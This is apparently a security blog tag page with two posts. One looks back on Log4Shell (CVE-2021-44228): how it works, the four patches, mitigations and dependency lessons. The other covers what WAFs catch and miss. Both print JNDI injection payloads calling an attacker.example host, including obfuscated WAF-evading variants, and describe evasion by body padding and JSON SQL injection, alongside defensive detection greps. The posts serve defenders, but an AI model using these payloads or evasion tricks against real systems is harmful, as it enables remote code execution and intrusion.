Tag: Log4Shell

  • Log4Shell and what it taught us about dependency risk

    Log4Shell and what it taught us about dependency risk

    I remember the afternoon of December 9, 2021 mostly as a lot of people asking the same question in chat: do we even use log4j? Nobody knew. The real answer at most companies was “probably, somewhere, transitively,” and finding out took days.

    The bug is CVE-2021-44228, reported to Apache by Chen Zhaojun of Alibaba Cloud’s security team. It affects Log4j 2 from 2.0-beta9 through 2.14.1, and it scored a CVSS 10.0. The mechanics are simple enough to be embarrassing, which is why it’s worth understanding past the slogan.

    What the bug actually was

    Sequence diagram of the original Log4Shell attack flow, from the attacker request through the outbound LDAP query to code execution, with default-deny egress marked as the point that breaks the chain

    The diagram above traces the original attack path step by step and marks where an outbound firewall rule stops it.

    Log4j 2 supports lookups, a substitution syntax inside log messages. ${env:HOME} expands to an environment variable, ${date:yyyy-MM-dd} to a date. One of the lookups was jndi, added in 2013, which resolves a name through the Java Naming and Directory Interface. JNDI can talk to LDAP, RMI and DNS servers.

    The substitution ran on the formatted message, after your data had been interpolated into it. So this perfectly ordinary and, until then, perfectly recommended line was exploitable:

    logger.error("Login failed, user agent: {}", request.getHeader("User-Agent"));

    Parameterized logging didn’t save you. If the header contained ${jndi:ldap://attacker.example/a}, Log4j expanded it, connected to the attacker’s LDAP server, and treated the response as a reference to a Java object. In the original exploitation path, that reference pointed at a remote class file the vulnerable JVM would load and run.

    That is remote code execution from a string you logged. Any attacker-controlled value that reached a logger was enough: HTTP headers, usernames, chat messages, a Minecraft chat line, an iPhone’s device name. The first thing attackers did was spray the payload into every header they could think of and wait for a DNS callback.

    Why the usual Java defenses only half worked

    People pointed out that JDK 8u191 and later set com.sun.jndi.ldap.object.trustURLCodebase to false, which blocks loading classes from a remote codebase over LDAP. True, and it did close the simplest path. But researchers quickly showed that an attacker could instead return a serialized object or a reference to a factory class already on the victim’s classpath, and use known gadget chains from there. Newer JDKs reduced the exposure. They did not fix it.

    The other thing that stung was egress. The vulnerable server had to reach out to the attacker’s LDAP or RMI listener. Plenty of production servers can make arbitrary outbound connections. Those that could not were in a much better place that week, and I have since become a bit of a bore about default-deny outbound rules.

    The patches took four tries

    People forget this part, and it changes how you run the response.

    2.15.0 (December 10) disabled JNDI lookups from message content by default, but left a hole in non-default Pattern Layouts that use context lookups. That became CVE-2021-45046, first rated as a denial of service and later raised to remote code execution in some configurations. 2.16.0 removed message lookups entirely and disabled JNDI by default. 2.17.0 fixed uncontrolled recursion in lookups, CVE-2021-45105, a denial of service. 2.17.1 fixed CVE-2021-44832, where an attacker who could modify the logging configuration could get code execution through the JDBC Appender with a JNDI data source.

    The Java 7 and Java 6 branches got their own backports (2.12.x and 2.3.x). If your remediation ticket said “upgrade to 2.15.0” and got closed, you were not done.

    Interim mitigations, and why I stopped trusting some of them

    For a few days the standard advice was to set -Dlog4j2.formatMsgNoLookups=true or the matching environment variable. That flag exists from 2.10 on and did not cover every path, which is part of what CVE-2021-45046 was about. The mitigation that held up best was deleting the class:

    zip -q -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    You also need to find the jars, including the ones hidden inside fat jars and containers. A first pass:

    find / -type f \( -name 'log4j-core*.jar' -o -name '*.war' -o -name '*.ear' \) 2>/dev/null
    unzip -l app.jar | grep -i 'log4j/core/lookup/JndiLookup'

    Searching logs for the attack string works, but attackers used obfuscation like ${${lower:j}ndi:...} almost immediately, so a naive grep for jndi undercounts. A looser filter:

    grep -rEi '\$\{.{0,60}j.{0,60}n.{0,60}d.{0,60}i.{0,60}:' /var/log/ 2>/dev/null

    Expect false positives and treat it as a rough filter, not a verdict. Outbound LDAP and RMI connections from application servers, and unexpected DNS lookups to domains you do not own, were the more reliable signal.

    What it taught defenders about dependency risk

    An inventory is a prerequisite, not a project for later. The teams that answered “are we affected” in an hour had a software bill of materials, or at least a way to query which artifacts were deployed where. Everyone else grepped filesystems. I’ve written before about what SBOMs are good for. This incident is the cleanest example: they answer exactly this question.

    A feature nobody asked for was the problem. Message lookups from log content were a convenience that almost nobody used on purpose, and the JNDI lookup was powerful enough to load code. The lesson I take for my own code is to ask what an interpolation or expansion feature can reach, and to default it off. Log4j eventually did that.

    The maintainers were a small group of volunteers who spent that December handling a CVSS 10 with the whole industry watching. Most of the companies that scrambled had never contributed a dollar or a patch. I don’t have a tidy fix for that. I do think “we depend on it in production” should come with some way of tracking its health, even if that is just knowing who maintains it and whether they are funded.

    Severity ratings and patch versions can mislead by leaving things out. You track a CVE family, not a single ID. After Log4Shell I stopped accepting “patched” without a version number and a way to verify it on the running system.

    The bug went into CISA’s Known Exploited Vulnerabilities catalog, and old Log4j keeps turning up inside vendor appliances you cannot patch yourself. Those need a vendor ticket and an egress rule, not a jar replacement.

  • Web application firewalls: what they catch, what they miss, and why they don’t fix the bug

    Web application firewalls: what they catch, what they miss, and why they don’t fix the bug

    I’ve sat in a lot of meetings where a vulnerability report was closed with “we’re behind a WAF”. It’s an understandable reflex. The WAF is a product with a dashboard full of blocked attacks, and the bug is a ticket that competes with features. But a web application firewall is a filter in front of your code, not a change to it. It’s very good at some jobs and close to useless at others. Knowing which is which is the difference between real protection and the feeling of it.

    How a WAF decides

    Diagram: textbook SQL injection, XSS and scanner traffic are blocked by the WAF, while obfuscated payloads, JSON SQL injection, oversized bodies and broken authorization requests pass through to the application

    Under the vendor branding, most WAFs work the same way. They parse each HTTP request (method, path, query string, headers, cookies, body), normalize it by decoding URL encoding, HTML entities and so on, then run the result past a set of rules. Rules are mostly pattern matches for attack syntax, plus some protocol sanity checks and rate limits.

    The OWASP Core Rule Set, the open rule set used by ModSecurity, Coraza and a number of commercial products, is a good place to see this in the open. It uses anomaly scoring: each matching rule adds points, a critical match adds 5, and the request is blocked once the inbound score reaches a threshold (5 by default). Paranoia levels 1 to 4 trade more detection for more false positives.

    # crs-setup.conf
    SecAction "id:900000,phase:1,pass,nolog,setvar:tx.blocking_paranoia_level=2"
    SecAction "id:900110,phase:1,pass,nolog,\
      setvar:tx.inbound_anomaly_score_threshold=5,\
      setvar:tx.outbound_anomaly_score_threshold=4"

    Worth knowing if you run ModSecurity yourself: Trustwave ended its support in July 2024, and the project moved to OWASP. Coraza is a Go reimplementation that runs CRS, and it’s where a lot of new deployments go.

    What a WAF is good at

    A WAF reliably stops commodity attack traffic. Scanners firing textbook SQL injection, path traversal and XSS payloads at every parameter get blocked, which drops a huge amount of noise from your logs and closes the easy wins for opportunistic attackers. If you have a legacy app full of string-concatenated SQL that nobody will fix this year, a WAF at paranoia level 2 is a real improvement.

    Its best use, in my opinion, is virtual patching. When a critical CVE lands in a framework you run, a targeted rule can block the exploit pattern within hours, long before your fix gets through build, test and deploy. In December 2021 the first Log4Shell (CVE-2021-44228) rules went out from most WAF vendors within a day, and they did blunt the first wave of mass scanning.

    What it misses

    Log4Shell shows the limits too. The first rules matched ${jndi:. Attackers immediately switched to lookups that Log4j evaluates but that don’t look like the string, for example:

    ${${lower:j}ndi:ldap://attacker.example/a}
    ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/a}

    Vendors updated their rules, attackers found new encodings, and the cycle ran for weeks. The WAF was guessing at every input the vulnerable code might interpret. That’s the same parser problem as the bug, one layer further out. The actual fix was upgrading Log4j.

    This isn’t a one-off. In 2022 researchers at Claroty showed that SQL injection payloads using JSON operators, which major databases had supported for years, sailed past WAFs from several large vendors because the rule sets didn’t understand JSON syntax in SQL. Any time the WAF and your application parse a request differently (duplicate parameters, odd content types, multipart edge cases, JSON with repeated keys) there’s room for a payload the WAF sees as harmless and the app sees as an attack.

    There are also plain capacity limits. AWS WAF behind an Application Load Balancer only inspects the first 8 KB of a request body. CloudFront and API Gateway default to 16 KB and can be raised to 64 KB. What happens to the rest depends on each rule’s oversize handling setting, and the default simply evaluates the part that was inspected, so whatever sits past the limit is never examined. An attacker who pads a JSON body past the limit can put the interesting part where nobody looks.

    A large class of bugs is invisible to a WAF, because nothing about the request is malformed. Broken object level authorization, number one on the OWASP API Security Top 10, is a request for /api/invoices/1043 from a user who owns invoice 1042. It looks exactly like a legitimate request because it is one, apart from who sent it. The same goes for authentication logic flaws, missing rate limits on password reset, price manipulation, race conditions in checkout. The WAF doesn’t know your business rules, and no signature can encode them.

    Running one well

    If you deploy a WAF, deploy it like any other control that can break production. Start in detection mode (SecRuleEngine DetectionOnly in ModSecurity, count mode in AWS WAF) and watch real traffic for a week or two. Then write narrow exclusions for the false positives you find:

    SecRule REQUEST_URI "@beginsWith /api/cms/articles" \
      "id:1001,phase:1,pass,nolog,\
      ctl:ruleRemoveTargetByTag=attack-xss;ARGS:body"

    That removes XSS checks from one field on one endpoint, which is the right granularity. The common mistake is disabling a whole rule globally because one form tripped it, and repeated a few dozen times that turns your WAF into an expensive logger.

    Send its logs somewhere people look. A WAF blocking a burst of exploit attempts against one endpoint is a strong signal that someone found something interesting there, and that’s worth a human glance.

    The bug is still there

    Every WAF rule that’s covering a real vulnerability should have a ticket next to it for the code fix, with a date. Virtual patching is a way to buy time, and you should spend that time on the fix rather than treat it as found money. The goal is a codebase where the WAF only catches noise, because the bugs behind it have been fixed: parameterized queries, output encoding, real authorization checks on every object, and dependencies kept current.

    I’d keep the WAF after that too. Defence in depth is real, and blocking scanners is useful. Just don’t let the dashboard’s blocked-attack count stand in for the question that matters, which is whether the application would be safe without it.